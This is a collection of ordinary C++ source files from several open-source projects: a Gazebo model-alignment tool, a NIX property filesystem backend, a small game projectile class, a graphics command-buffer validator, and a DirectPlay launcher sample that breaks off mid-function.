///////////////////////////////////////////////// void ModelAlign::Transform(const ignition::math::Box &_bbox, const ignition::math::Pose3d &_worldPose, std::vector<ignition::math::Vector3d> &_vertices) { auto center = _bbox.Center(); // Get the 8 corners of the bounding box. auto v0 = center + ignition::math::Vector3d(-_bbox.XLength()/2.0, _bbox.YLength()/2.0, _bbox.ZLength()/2.0); auto v1 = center + ignition::math::Vector3d(_bbox.XLength()/2.0, _bbox.YLength()/2.0, _bbox.ZLength()/2.0); auto v2 = center + ignition::math::Vector3d(-_bbox.XLength()/2.0, -_bbox.YLength()/2.0, _bbox.ZLength()/2.0); auto v3 = center + ignition::math::Vector3d(_bbox.XLength()/2.0, -_bbox.YLength()/2.0, _bbox.ZLength()/2.0); auto v4 = center + ignition::math::Vector3d(-_bbox.XLength()/2.0, _bbox.YLength()/2.0, -_bbox.ZLength()/2.0); auto v5 = center + ignition::math::Vector3d(_bbox.XLength()/2.0, _bbox.YLength()/2.0, -_bbox.ZLength()/2.0); auto v6 = center + ignition::math::Vector3d(-_bbox.XLength()/2.0, -_bbox.YLength()/2.0, -_bbox.ZLength()/2.0); auto v7 = center + ignition::math::Vector3d(_bbox.XLength()/2.0, -_bbox.YLength()/2.0, -_bbox.ZLength()/2.0); // Transform corners into world spacce. v0 = _worldPose.Rot() * v0 + _worldPose.Pos(); v1 = _worldPose.Rot() * v1 + _worldPose.Pos(); v2 = _worldPose.Rot() * v2 + _worldPose.Pos(); v3 = _worldPose.Rot() * v3 + _worldPose.Pos(); v4 = _worldPose.Rot() * v4 + _worldPose.Pos(); v5 = _worldPose.Rot() * v5 + _worldPose.Pos(); v6 = _worldPose.Rot() * v6 + _worldPose.Pos(); v7 = _worldPose.Rot() * v7 + _worldPose.Pos(); _vertices.clear(); _vertices.push_back(v0); _vertices.push_back(v1); _vertices.push_back(v2); _vertices.push_back(v3); _vertices.push_back(v4); _vertices.push_back(v5); _vertices.push_back(v6); _vertices.push_back(v7); } ///////////////////////////////////////////////// void ModelAlign::MinMax(const std::vector<ignition::math::Vector3d> &_vertices, ignition::math::Vector3d &_min, ignition::math::Vector3d &_max) { if (_vertices.empty()) return; _min = _vertices[0]; _max = _vertices[0]; // find min / max in world space; for (unsigned int i = 1; i < _vertices.size(); ++i) { auto v = _vertices[i]; if (_min.X() > v.X()) _min.X() = v.X(); if (_max.X() < v.X()) _max.X() = v.X(); if (_min.Y() > v.Y()) _min.Y() = v.Y(); if (_max.Y() < v.Y()) _max.Y() = v.Y(); if (_min.Z() > v.Z()) _min.Z() = v.Z(); if (_max.Z() < v.Z()) _max.Z() = v.Z(); } } ///////////////////////////////////////////////// void ModelAlign::AlignVisuals(std::vector<rendering::VisualPtr> _visuals, const std::string &_axis, const std::string &_config, const std::string &_target, const bool _publish, const bool _inverted) { if (_config == "reset" || _publish) { auto it = this->dataPtr->originalVisualPose.begin(); for (it; it != this->dataPtr->originalVisualPose.end(); ++it) { if (it->first) { it->first->SetWorldPose(it->second); this->SetHighlighted(it->first, false); } } this->dataPtr->originalVisualPose.clear(); if (this->dataPtr->scene) this->dataPtr->scene->SelectVisual("", "normal"); if (!_publish) return; } this->dataPtr->selectedVisuals = _visuals; if (this->dataPtr->selectedVisuals.size() <= 1) return; unsigned int start = 0; unsigned int end = 0; if (_target == "first") { start = 1; end = this->dataPtr->selectedVisuals.size(); this->dataPtr->targetVis = this->dataPtr->selectedVisuals.front(); } else if (_target == "last") { start = 0; end = this->dataPtr->selectedVisuals.size()-1; this->dataPtr->targetVis = this->dataPtr->selectedVisuals.back(); } auto targetWorldPose = this->dataPtr->targetVis->WorldPose(); auto targetBbox = this->dataPtr->targetVis->BoundingBox(); targetBbox.Min() *= this->dataPtr->targetVis->Scale(); targetBbox.Max() *= this->dataPtr->targetVis->Scale(); std::vector<ignition::math::Vector3d> targetVertices; this->Transform(targetBbox, targetWorldPose, targetVertices); ignition::math::Vector3d targetMin; ignition::math::Vector3d targetMax; this->MinMax(targetVertices, targetMin, targetMax); std::vector<rendering::VisualPtr> visualsToPublish; for (unsigned i = start; i < end; ++i) { rendering::VisualPtr vis = this->dataPtr->selectedVisuals[i]; auto worldPose = vis->WorldPose(); auto bbox = vis->BoundingBox(); bbox.Min() *= vis->Scale(); bbox.Max() *= vis->Scale(); std::vector<ignition::math::Vector3d> vertices; this->Transform(bbox, worldPose, vertices); ignition::math::Vector3d min; ignition::math::Vector3d max; this->MinMax(vertices, min, max); ignition::math::Vector3d trans; if (_config == "center") { trans = (targetMin + (targetMax-targetMin)/2) - (min + (max-min)/2); } else { if (!_inverted) { if (_config == "min") trans = targetMin - min; else if (_config == "max") trans = targetMax - max; } else { if (_config == "min") trans = targetMin - max; else if (_config == "max") trans = targetMax - min; } } if (!_publish) { if (this->dataPtr->originalVisualPose.find(vis) == this->dataPtr->originalVisualPose.end()) { this->dataPtr->originalVisualPose[vis] = vis->WorldPose(); this->SetHighlighted(vis, true); } // prevent the visual pose from being updated by the server if (this->dataPtr->scene) this->dataPtr->scene->SelectVisual(vis->Name(), "move"); } if (_axis == "x") { trans.Y() = trans.Z() = 0; vis->SetWorldPosition(vis->WorldPose().Pos() + trans); } else if (_axis == "y") { trans.X() = trans.Z() = 0; vis->SetWorldPosition(vis->WorldPose().Pos() + trans); } else if (_axis == "z") { trans.X() = trans.Y() = 0; vis->SetWorldPosition(vis->WorldPose().Pos() + trans); } if (_publish) visualsToPublish.push_back(vis); } // Register user command on server if (_publish) { msgs::UserCmd userCmdMsg; userCmdMsg.set_description( "Align to [" + this->dataPtr->targetVis->Name() + "]"); userCmdMsg.set_type(msgs::UserCmd::MOVING); for (const auto &vis : visualsToPublish) { // Only publish for models if (vis->GetType() == gazebo::rendering::Visual::VT_MODEL) { msgs::Model msg; auto id = gui::get_entity_id(vis->Name()); if (id) msg.set_id(id); msg.set_name(vis->Name()); msgs::Set(msg.mutable_pose(), vis->WorldPose()); auto modelMsg = userCmdMsg.add_model(); modelMsg->CopyFrom(msg); } Events::moveEntity(vis->Name(), vis->WorldPose(), true); } this->dataPtr->userCmdPub->Publish(userCmdMsg); } } ///////////////////////////////////////////////// void ModelAlign::SetHighlighted(const rendering::VisualPtr &_vis, const bool _highlight) { if (_vis->GetChildCount() != 0) { for (unsigned int j = 0; j < _vis->GetChildCount(); ++j) { this->SetHighlighted(_vis->GetChild(j), _highlight); } } else { // Highlighting increases transparency for opaque visuals (0 < t < 0.3) and // decreases transparency for semi-transparent visuals (0.3 < t < 1). // A visual will never become fully transparent (t = 1) when highlighted. if (_highlight) { _vis->SetTransparency((1.0 - _vis->GetTransparency()) * 0.5); } // The inverse operation restores the original transparency value. else { _vis->SetTransparency(std::abs(_vis->GetTransparency()*2.0-1.0)); } } }
30.33871
79
0.568403
yinnglu
0df6dcf579e6433f9bca02765e89c2a4ce5a0d04
4,961
cpp
C++
backend/fs/PropertyFS.cpp
gicmo/nix
17a5b90e6c12a22e921c181b79eb2a3db1bf61af
[ "BSD-3-Clause" ]
53
2015-02-10T01:04:34.000Z
2021-04-24T14:26:04.000Z
backend/fs/PropertyFS.cpp
tapaswenipathak/nix
4565c2d7b363f27cac88932b35c085ee8fe975a1
[ "BSD-3-Clause" ]
262
2015-01-09T13:24:21.000Z
2021-07-02T13:45:31.000Z
backend/fs/PropertyFS.cpp
gicmo/nix
17a5b90e6c12a22e921c181b79eb2a3db1bf61af
[ "BSD-3-Clause" ]
34
2015-03-27T16:41:14.000Z
2020-03-27T06:47:59.000Z
// Copyright (c) 2013 - 2015, German Neuroinformatics Node (G-Node) // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted under the terms of the BSD License. See // LICENSE file in the root of the Project. #include "PropertyFS.hpp" namespace bfs = boost::filesystem; namespace nix { namespace file { PropertyFS::PropertyFS(const std::shared_ptr<base::IFile> &file, const bfs::path &loc) : DirectoryWithAttributes(loc, file->fileMode()) { } PropertyFS::PropertyFS(const std::shared_ptr<base::IFile> &file, const bfs::path &loc, const std::string &id, const std::string &name, const DataType &dataType) : DirectoryWithAttributes(loc / bfs::path(name), file->fileMode()) { if (name.empty()) { throw EmptyString("name"); } else { setAttr("name", name); forceUpdatedAt(); } setAttr("entity_id", id); setAttr("data_type", nix::data_type_to_string(dataType)); time_t t = util::getTime(); setUpdatedAt(); forceCreatedAt(t); } std::string PropertyFS::id() const { std::string t; if (hasAttr("entity_id")) { getAttr("entity_id", t); } else { throw std::runtime_error("Entity has no id!"); } return t; } time_t PropertyFS::updatedAt() const { std::string t; getAttr("updated_at", t); return util::strToTime(t); } void PropertyFS::setUpdatedAt() { if (!hasAttr("updated_at")) { time_t t = util::getTime(); setAttr("updated_at", util::timeToStr(t)); } } void PropertyFS::forceUpdatedAt() { time_t t = util::getTime(); setAttr("updated_at", util::timeToStr(t)); } time_t PropertyFS::createdAt() const { std::string t; getAttr("created_at", t); return util::strToTime(t); } void PropertyFS::setCreatedAt() { if (!hasAttr("created_at")) { time_t t = util::getTime(); setAttr("created_at", util::timeToStr(t)); } } void PropertyFS::forceCreatedAt(time_t t) { setAttr("created_at", util::timeToStr(t)); } std::string PropertyFS::name() const { std::string name; if (hasAttr("name")) { getAttr("name", name); return name; } else { throw MissingAttr("name"); } } void PropertyFS::definition(const std::string &definition) { if (definition.empty()) { throw EmptyString("definition"); } else { setAttr("definition", definition); forceUpdatedAt(); } } boost::optional<std::string> PropertyFS::definition() const { boost::optional<std::string> ret; std::string definition; if (hasAttr("definition")) { getAttr("definition", definition); ret = definition; } return ret; } void PropertyFS::definition(const nix::none_t t) { if (hasAttr("definition")) { removeAttr("definition"); } forceUpdatedAt(); } DataType PropertyFS::dataType() const { std::string dtype; getAttr("data_type", dtype); return nix::string_to_data_type(dtype); } void PropertyFS::unit(const std::string &unit) { if (unit.empty()) { throw EmptyString("unit"); } setAttr("unit", unit); forceUpdatedAt(); } boost::optional<std::string> PropertyFS::unit() const { boost::optional<std::string> ret; std::string unit; if (hasAttr("unit")) { getAttr("unit", unit); ret = unit; } return ret; } void PropertyFS::unit(const nix::none_t t) { if (hasAttr("unit")) { removeAttr("unit"); } forceUpdatedAt(); } void PropertyFS::uncertainty(double uncertainty) { setAttr("uncertainty", uncertainty); forceUpdatedAt(); } boost::optional<double> PropertyFS::uncertainty() const { boost::optional<double> ret; double error; if (hasAttr("uncertainty")) { getAttr("uncertainty", error); ret = error; } return ret; } void PropertyFS::uncertainty(const nix::none_t t) { if (hasAttr("uncertainty")) { removeAttr("uncertainty"); } forceUpdatedAt(); } void PropertyFS::deleteValues() { // FIXME } ndsize_t PropertyFS::valueCount() const { // FIXME return 0; } void PropertyFS::values(const std::vector<Variant> &values) { // FIXME } std::vector<Variant> PropertyFS::values(void) const { std::vector<Variant> values; // FIXME return values; } void PropertyFS::values(const nix::none_t t) { // TODO: rethink if we want two methods for same thing deleteValues(); } bool PropertyFS::isValidEntity() const { return isValid(); } int PropertyFS::compare(const std::shared_ptr<base::IProperty> &other) const { int cmp = 0; if (!name().empty() && !other->name().empty()) { cmp = (name()).compare(other->name()); } if (cmp == 0) { cmp = id().compare(other->id()); } return cmp; } PropertyFS::~PropertyFS() {} } // ns nix::file } // ns nix
20.331967
109
0.615803
gicmo
0df8441cecdea554896eb0e199319758807efe8d
278
cpp
C++
ShooterMini/ShooterMini/Projectile.cpp
Floneyyang/ShooterGame
6cc6fdb52ac75a7fce08d0aa1cd997c55e2ac6d3
[ "MIT" ]
null
null
null
ShooterMini/ShooterMini/Projectile.cpp
Floneyyang/ShooterGame
6cc6fdb52ac75a7fce08d0aa1cd997c55e2ac6d3
[ "MIT" ]
null
null
null
ShooterMini/ShooterMini/Projectile.cpp
Floneyyang/ShooterGame
6cc6fdb52ac75a7fce08d0aa1cd997c55e2ac6d3
[ "MIT" ]
null
null
null
// // Projectile.cpp // ShooterMini // // Created by Floney Yang on 1/31/21. // Copyright © 2021 Floney Yang. All rights reserved. // #include "Projectile.hpp" Projectile::Projectile(){ transform = RectangleShape(Vector2f(50, 5)); } Projectile::~Projectile(){ }
15.444444
54
0.661871
Floneyyang
0dfeaea0f3f6a5feb004061f259a446fe3a0778b
1,304
cpp
C++
clove/components/core/graphics/source/Validation/ValidationCommandBuffer.cpp
mondoo/Clove
3989dc3fea0d886a69005c1e0bb4396501f336f2
[ "MIT" ]
33
2020-01-09T04:57:29.000Z
2021-08-14T08:02:43.000Z
clove/components/core/graphics/source/Validation/ValidationCommandBuffer.cpp
mondoo/Clove
3989dc3fea0d886a69005c1e0bb4396501f336f2
[ "MIT" ]
234
2019-10-25T06:04:35.000Z
2021-08-18T05:47:41.000Z
clove/components/core/graphics/source/Validation/ValidationCommandBuffer.cpp
mondoo/Clove
3989dc3fea0d886a69005c1e0bb4396501f336f2
[ "MIT" ]
4
2020-02-11T15:28:42.000Z
2020-09-07T16:22:58.000Z
#include "Clove/Graphics/Validation/ValidationCommandBuffer.hpp" #include <Clove/Log/Log.hpp> namespace clove { void ValidationCommandBuffer::setAllowBufferReuse(bool canReuse) { allowReuse = canReuse; } void ValidationCommandBuffer::markAsUsed() { hasBeenUsed = true; } bool ValidationCommandBuffer::bufferHasBeenUsed() const { return hasBeenUsed; } CommandBufferUsage ValidationCommandBuffer::getCommandBufferUsage() const { return currentUsage; } void ValidationCommandBuffer::validateBeginRecording() { CLOVE_ASSERT_MSG(endRecordingCalled, "beginRecording called before endRecording. Command buffer recording must be finished be starting again."); endRecordingCalled = false; CLOVE_ASSERT_MSG(!(!allowReuse && hasBeenUsed), "Command buffer re-recorded to. Command buffers cannot be recorded to more than once unless the owning queue has been created with QueueFlags::ReuseBuffers set."); } void ValidationCommandBuffer::resetUsedFlag() { hasBeenUsed = false; } void ValidationCommandBuffer::setCommandBufferUsage(CommandBufferUsage usage) { currentUsage = usage; } void ValidationCommandBuffer::onEndRecording() { endRecordingCalled = true; } }
31.047619
219
0.721626
mondoo
df02f526df22dfc527e6f37a49ace124cb83424d
29,718
cpp
C++
Extern/mssdk_dx7/samples/Multimedia/DPlay/src/DPLaunch/dplaunch.cpp
Ybalrid/orbiter
7bed82f845ea8347f238011367e07007b0a24099
[ "MIT" ]
1,040
2021-07-27T12:12:06.000Z
2021-08-02T14:24:49.000Z
Extern/mssdk_dx7/samples/Multimedia/DPlay/src/DPLaunch/dplaunch.cpp
Ybalrid/orbiter
7bed82f845ea8347f238011367e07007b0a24099
[ "MIT" ]
20
2021-07-27T12:25:22.000Z
2021-08-02T12:22:19.000Z
Extern/mssdk_dx7/samples/Multimedia/DPlay/src/DPLaunch/dplaunch.cpp
Ybalrid/orbiter
7bed82f845ea8347f238011367e07007b0a24099
[ "MIT" ]
71
2021-07-27T14:19:49.000Z
2021-08-02T05:51:52.000Z
//----------------------------------------------------------------------------- // File: DPLaunch.cpp // // Desc: Implementation of a DirectPlay launching utility // // Copyright (C) 1996-1999 Microsoft Corporation. All Rights Reserved. //----------------------------------------------------------------------------- #define INITGUID #include <windows.h> #include <windowsx.h> #include <objbase.h> #include <wtypes.h> #include <cguid.h> #include "dplay.h" #include "dplobby.h" #include "resource.h" #if defined(UNICODE) || defined(_UNICODE) #error This app does not support UNICODE #endif //----------------------------------------------------------------------------- // Globals //----------------------------------------------------------------------------- #define NAMEMAX 200 // maximum size of a string name #define ADDRESSTYPEMAX 10 // maximum no. address types #define MAXSTRLEN 200 // maximum size of temp strings // GUID for sessions this application creates DEFINE_GUID( MY_SESSION_GUID, 0xd559fc00, 0xdc12, 0x11cf, 0x9c, 0x4e, 0x0, 0xa0, 0xc9, 0x5, 0x42, 0x5e ); // List of address types struct ADDRESSTYPELIST { DWORD dwCount; GUID guidAddressTypes[ADDRESSTYPEMAX]; }; //----------------------------------------------------------------------------- // Function prototypes //----------------------------------------------------------------------------- BOOL CALLBACK LauncherWndProc( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ); HRESULT InitializeLauncherWindow( HWND hWnd, LPDIRECTPLAYLOBBY3A* ppDPLobby ); HRESULT UpdateAddressInfo( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ); VOID DestroyLauncherWindow( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ); VOID LaunchDirectPlayApplication( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ); HRESULT GetComboBoxGuid( HWND hWnd, LONG iDialogItem, GUID* pServiceProviderGUID ); HRESULT FillModemComboBox( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby, GUID* pServiceProviderGUID ); VOID ErrorBox( LPSTR strError, HRESULT hr ); CHAR* GetDirectPlayErrStr( HRESULT hr ); //----------------------------------------------------------------------------- // Name: WinMain() // Desc: Windows entry point //----------------------------------------------------------------------------- int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { HRESULT hr; // Initialize the COM library hr = CoInitialize( NULL ); if( FAILED(hr) ) { ErrorBox( "CoInitialize failed. Error %s", hr ); return 0; } int iResult = DialogBoxParam( hInstance, MAKEINTRESOURCE(IDD_LAUNCHERDIALOG), NULL, (DLGPROC)LauncherWndProc, (LPARAM) hInstance ); CoUninitialize(); return iResult; } //----------------------------------------------------------------------------- // Name: LauncherWndProc() // Desc: Message callback function for Launcher dialog. //----------------------------------------------------------------------------- BOOL CALLBACK LauncherWndProc( HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam ) { static HINSTANCE hInst; static LPDIRECTPLAYLOBBY3A pDPLobby; HRESULT hr; switch( uMsg ) { case WM_INITDIALOG: // Save the instance handle hInst = (HINSTANCE)lParam; // Initialize dialog with launcher information pDPLobby = NULL; hr = InitializeLauncherWindow( hWnd, &pDPLobby ); if( FAILED(hr) ) { ErrorBox( "Could not initialize. Error %s", hr ); EndDialog( hWnd, FALSE ); } return TRUE; case WM_DESTROY: // Destroy launcher information in dialog DestroyLauncherWindow( hWnd, pDPLobby ); break; // continue with default handling case WM_COMMAND: switch( LOWORD(wParam) ) { case IDC_SPCOMBO: switch( HIWORD(wParam) ) { case CBN_SELCHANGE: // update the address info display UpdateAddressInfo( hWnd, pDPLobby ); return TRUE; } break; case IDC_RUNAPPBUTTON: // get settings and launch application LaunchDirectPlayApplication( hWnd, pDPLobby ); return TRUE; case IDCANCEL: // Return failure EndDialog( hWnd, TRUE ); return TRUE; } break; } // Allow for default processing return FALSE; } //----------------------------------------------------------------------------- // Name: EnumApp() // Desc: Enumerates the applications registered with DirectPlay. //----------------------------------------------------------------------------- BOOL FAR PASCAL EnumApp( const DPLAPPINFO* pAppInfo, VOID* pContext, DWORD dwFlags ) { HWND hWnd = (HWND)pContext; LRESULT iIndex; GUID* pGuid; // Store application name in combo box iIndex = SendDlgItemMessage( hWnd, IDC_APPCOMBO, CB_ADDSTRING, 0, (LPARAM)pAppInfo->lpszAppNameA ); if( iIndex == LB_ERR ) return TRUE; // Make space for application GUID pGuid = (GUID*)GlobalAllocPtr( GHND, sizeof(GUID) ); if( pGuid == NULL ) return TRUE; // Store pointer to GUID in combo box *pGuid = pAppInfo->guidApplication; SendDlgItemMessage( hWnd, IDC_APPCOMBO, CB_SETITEMDATA, (WPARAM)iIndex, (LPARAM)pGuid ); return TRUE; } //----------------------------------------------------------------------------- // Name: EnumSP() // Desc: Enumerates service providers registered with DirectPlay. //----------------------------------------------------------------------------- BOOL FAR PASCAL EnumSP( const GUID* pSPGUID, VOID* pConnection, DWORD dwConnectionSize, const DPNAME* pName, DWORD dwFlags, VOID* pContext ) { HWND hWnd = (HWND)pContext; LRESULT iIndex; GUID* pGuid; // Store service provider name in combo box iIndex = SendDlgItemMessage( hWnd, IDC_SPCOMBO, CB_ADDSTRING, 0, (LPARAM)pName->lpszShortNameA ); if( iIndex == LB_ERR ) return TRUE; // Make space for service provider GUID pGuid = (GUID*)GlobalAllocPtr( GHND, sizeof(GUID) ); if( pGuid == NULL ) return TRUE; // Store pointer to GUID in combo box *pGuid = *pSPGUID; SendDlgItemMessage( hWnd, IDC_SPCOMBO, CB_SETITEMDATA, (WPARAM)iIndex, (LPARAM)pGuid ); return TRUE; } //----------------------------------------------------------------------------- // Name: InitializeLauncherWindow() // Desc: Initializes the window for the Launcher. //----------------------------------------------------------------------------- HRESULT InitializeLauncherWindow( HWND hWnd, LPDIRECTPLAYLOBBY3A* ppDPLobby ) { LPDIRECTPLAY4A pDP = NULL; LPDIRECTPLAYLOBBY3A pDPLobby = NULL; HRESULT hr; // Create a temporary ANSI DirectPlay4 interface hr = CoCreateInstance( CLSID_DirectPlay, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlay4A, (VOID**)&pDP ); if( FAILED(hr) ) return hr; // Get ANSI DirectPlayLobby interface hr = CoCreateInstance( CLSID_DirectPlayLobby, NULL, CLSCTX_INPROC_SERVER, IID_IDirectPlayLobby3A, (VOID**)&pDPLobby ); if( FAILED(hr) ) { pDP->Release(); return hr; } // Put all the DirectPlay applications in a combo box pDPLobby->EnumLocalApplications( EnumApp, hWnd, 0 ); // Put all the service providers in a combo box pDP->EnumConnections( NULL, EnumSP, hWnd, 0 ); // Done with the DirectPlay4 interface pDP->Release(); // Initialize the controls SendDlgItemMessage( hWnd, IDC_APPCOMBO, CB_SETCURSEL, 0, 0 ); SendDlgItemMessage( hWnd, IDC_SPCOMBO, CB_SETCURSEL, 0, 0 ); SendDlgItemMessage( hWnd, IDC_HOSTRADIO, BM_SETCHECK, (WPARAM)BST_CHECKED, 0 ); // Update the address info display hr = UpdateAddressInfo( hWnd, pDPLobby ); // Return the ANSI lobby interface *ppDPLobby = pDPLobby; return DP_OK; } //----------------------------------------------------------------------------- // Name: DestroyLauncherWindow() // Desc: Destroys the launcher window. //----------------------------------------------------------------------------- VOID DestroyLauncherWindow( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ) { WPARAM index; LRESULT pData; // Destroy the GUID's stored with each app name index = 0; while( TRUE ) { pData = SendDlgItemMessage( hWnd, IDC_APPCOMBO, CB_GETITEMDATA, (WPARAM)index, 0 ); if( (pData == CB_ERR) || (pData == 0) ) break; GlobalFreePtr( (VOID*)pData ); index++; } // Destroy the GUID's stored with each service provider name index = 0; while( TRUE ) { pData = SendDlgItemMessage( hWnd, IDC_SPCOMBO, CB_GETITEMDATA, (WPARAM)index, 0 ); if( (pData == CB_ERR) || (pData == 0) ) break; GlobalFreePtr( (VOID*)pData ); index++; } // Release the lobby interface if( pDPLobby) pDPLobby->Release(); } //----------------------------------------------------------------------------- // Name: EnumAddressTypes() // Desc: Enumerates the address types supported by the given Service Provider // and returns them in a list. //----------------------------------------------------------------------------- BOOL FAR PASCAL EnumAddressTypes( REFGUID guidAddressType, VOID* pContext, DWORD dwFlags ) { ADDRESSTYPELIST* pAddressTypes = (ADDRESSTYPELIST*)pContext; // Make sure there is room if( pAddressTypes->dwCount < ADDRESSTYPEMAX ) { // Save the address type guid in the list pAddressTypes->guidAddressTypes[pAddressTypes->dwCount] = guidAddressType; pAddressTypes->dwCount++; } return TRUE; } //----------------------------------------------------------------------------- // Name: UpdateAddressInfo() // Desc: Updates address information elements in dialog. Calls // EnumAddressTypes() to determine what address information should be // displayed and arranges dialog to display and collect the needed // information. //----------------------------------------------------------------------------- HRESULT UpdateAddressInfo( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby ) { GUID guidServiceProvider, guidAddressType; ADDRESSTYPELIST addressTypeList; DWORD i; HRESULT hr; // Get guid of currently selected service provider hr = GetComboBoxGuid( hWnd, IDC_SPCOMBO, &guidServiceProvider ); if( FAILED(hr) ) return hr; // Get the list of address types for this service provider ZeroMemory( &addressTypeList, sizeof(ADDRESSTYPELIST) ); hr = pDPLobby->EnumAddressTypes( EnumAddressTypes, guidServiceProvider, &addressTypeList, 0L ); if( FAILED(hr) ) return hr; // Clear and hide address dialog items SendDlgItemMessage( hWnd, IDC_ADDRESSCOMBO, CB_RESETCONTENT, 0, 0 ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSCOMBO ), SW_HIDE ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSCOMBOLABEL ), SW_HIDE ); SetDlgItemText( hWnd, IDC_ADDRESSEDIT, "" ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDIT ), SW_HIDE ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDITLABEL ), SW_HIDE ); SetDlgItemText( hWnd, IDC_PORTEDIT, "" ); ShowWindow( GetDlgItem( hWnd, IDC_PORTEDIT ), SW_HIDE ); // Loop over the address types for( i = 0; i < addressTypeList.dwCount; i++ ) { guidAddressType = addressTypeList.guidAddressTypes[i]; if( IsEqualGUID( guidAddressType, DPAID_Phone ) ) { // Phone number SetDlgItemText( hWnd, IDC_ADDRESSEDITLABEL, "Phone number" ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDIT ), SW_SHOW ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDITLABEL ), SW_SHOW ); } else if( IsEqualGUID( guidAddressType, DPAID_Modem ) ) { // Modem SetDlgItemText( hWnd, IDC_ADDRESSCOMBOLABEL, "Modem" ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSCOMBO ), SW_SHOW ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSCOMBOLABEL ), SW_SHOW ); FillModemComboBox( hWnd, pDPLobby, &guidServiceProvider ); } else if( IsEqualGUID( guidAddressType, DPAID_INet ) ) { // Internet address SetDlgItemText( hWnd, IDC_ADDRESSEDITLABEL, "IP address" ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDIT ), SW_SHOW ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSEDITLABEL ), SW_SHOW ); } else if( IsEqualGUID( guidAddressType, DPAID_INetPort ) ) { // Internet address port SetDlgItemText( hWnd, IDC_ADDRESSCOMBOLABEL, "Port" ); ShowWindow( GetDlgItem( hWnd, IDC_PORTEDIT ), SW_SHOW ); ShowWindow( GetDlgItem( hWnd, IDC_ADDRESSCOMBOLABEL ), SW_SHOW ); } } return hr; } //----------------------------------------------------------------------------- // Name: CreateAddress() // Desc: Creates a DPADDRESS using the address information from the dialog. //----------------------------------------------------------------------------- HRESULT CreateAddress( HWND hWnd, LPDIRECTPLAYLOBBY3A pDPLobby, GUID* pServiceProviderGUID, VOID** ppAddress, DWORD* pdwAddressSize ) { ADDRESSTYPELIST addressTypeList; DPCOMPOUNDADDRESSELEMENT addressElements[1 + ADDRESSTYPEMAX]; GUID guidAddressType; CHAR strPhoneNumberString[NAMEMAX]; CHAR strModemString[NAMEMAX]; CHAR strIPAddressString[NAMEMAX]; CHAR strPort[NAMEMAX]; VOID* pAddress = NULL; DWORD dwAddressSize = 0; DWORD i; DWORD dwElementCount; WORD wPort=0; HRESULT hr; // Get the list of address types for this service provider ZeroMemory( &addressTypeList, sizeof(ADDRESSTYPELIST) ); hr = pDPLobby->EnumAddressTypes( EnumAddressTypes, *pServiceProviderGUID, &addressTypeList, 0L ); if( FAILED(hr) ) return hr; dwElementCount = 0; // All DPADDRESS's must have a service provider chunk addressElements[dwElementCount].guidDataType = DPAID_ServiceProvider; addressElements[dwElementCount].dwDataSize = sizeof(GUID); addressElements[dwElementCount].lpData = pServiceProviderGUID; dwElementCount++; // Loop over the address types for( i = 0; i < addressTypeList.dwCount; i++ ) { guidAddressType = addressTypeList.guidAddressTypes[i]; if( IsEqualGUID( guidAddressType, DPAID_Phone ) ) { // Add a phone number chunk GetDlgItemText( hWnd, IDC_ADDRESSEDIT, strPhoneNumberString, NAMEMAX ); addressElements[dwElementCount].guidDataType = DPAID_Phone; addressElements[dwElementCount].dwDataSize = lstrlen(strPhoneNumberString) + 1; addressElements[dwElementCount].lpData = strPhoneNumberString; dwElementCount++; } else if( IsEqualGUID( guidAddressType, DPAID_Modem ) ) { // Add a modem chunk GetDlgItemText( hWnd, IDC_ADDRESSCOMBO, strModemString, NAMEMAX ); addressElements[dwElementCount].guidDataType = DPAID_Modem; addressElements[dwElementCount].dwDataSize = lstrlen(strModemString) + 1; addressElements[dwElementCount].lpData = strModemString; dwElementCount++; } else if( IsEqualGUID( guidAddressType, DPAID_INet ) ) { // Add an IP address chunk GetDlgItemText( hWnd, IDC_ADDRESSEDIT, strIPAddressString, NAMEMAX ); addressElements[dwElementCount].guidDataType = DPAID_INet; addressElements[dwElementCount].dwDataSize = lstrlen(strIPAddressString) + 1; addressElements[dwElementCount].lpData = strIPAddressString; dwElementCount++; } else if( IsEqualGUID( guidAddressType, DPAID_INetPort ) ) { memset( strPort, 0, sizeof(strPort) ); // Add a Port chunk GetDlgItemText( hWnd, IDC_PORTEDIT, strPort, NAMEMAX ); wPort = (WORD)atoi(strPort); addressElements[dwElementCount].guidDataType = DPAID_INetPort; addressElements[dwElementCount].dwDataSize = sizeof(WORD); addressElements[dwElementCount].lpData = (VOID*)&wPort; dwElementCount++; } } // Bail if no address data is available if( dwElementCount == 1 ) return DPERR_GENERIC; // See how much room is needed to store this address hr = pDPLobby->CreateCompoundAddress( addressElements, dwElementCount, NULL, &dwAddressSize ); if( hr != DPERR_BUFFERTOOSMALL ) return hr; // Allocate space pAddress = GlobalAllocPtr( GHND, dwAddressSize ); if( pAddress == NULL ) return DPERR_NOMEMORY; // Create the address hr = pDPLobby->CreateCompoundAddress( addressElements, dwElementCount, pAddress, &dwAddressSize ); if( FAILED(hr) ) { GlobalFreePtr( pAddress ); return hr; } // Return the address info *ppAddress = pAddress; *pdwAddressSize = dwAddressSize; return DP_OK; } //----------------------------------------------------------------------------- // Name: RunApplication() // Desc: Wrapper for the IDirectPlayLobby::RunApplication() method. //----------------------------------------------------------------------------- HRESULT RunApplication( LPDIRECTPLAYLOBBY3A pDPLobby, GUID* pApplicationGUID, GUID* pInstanceGUID, 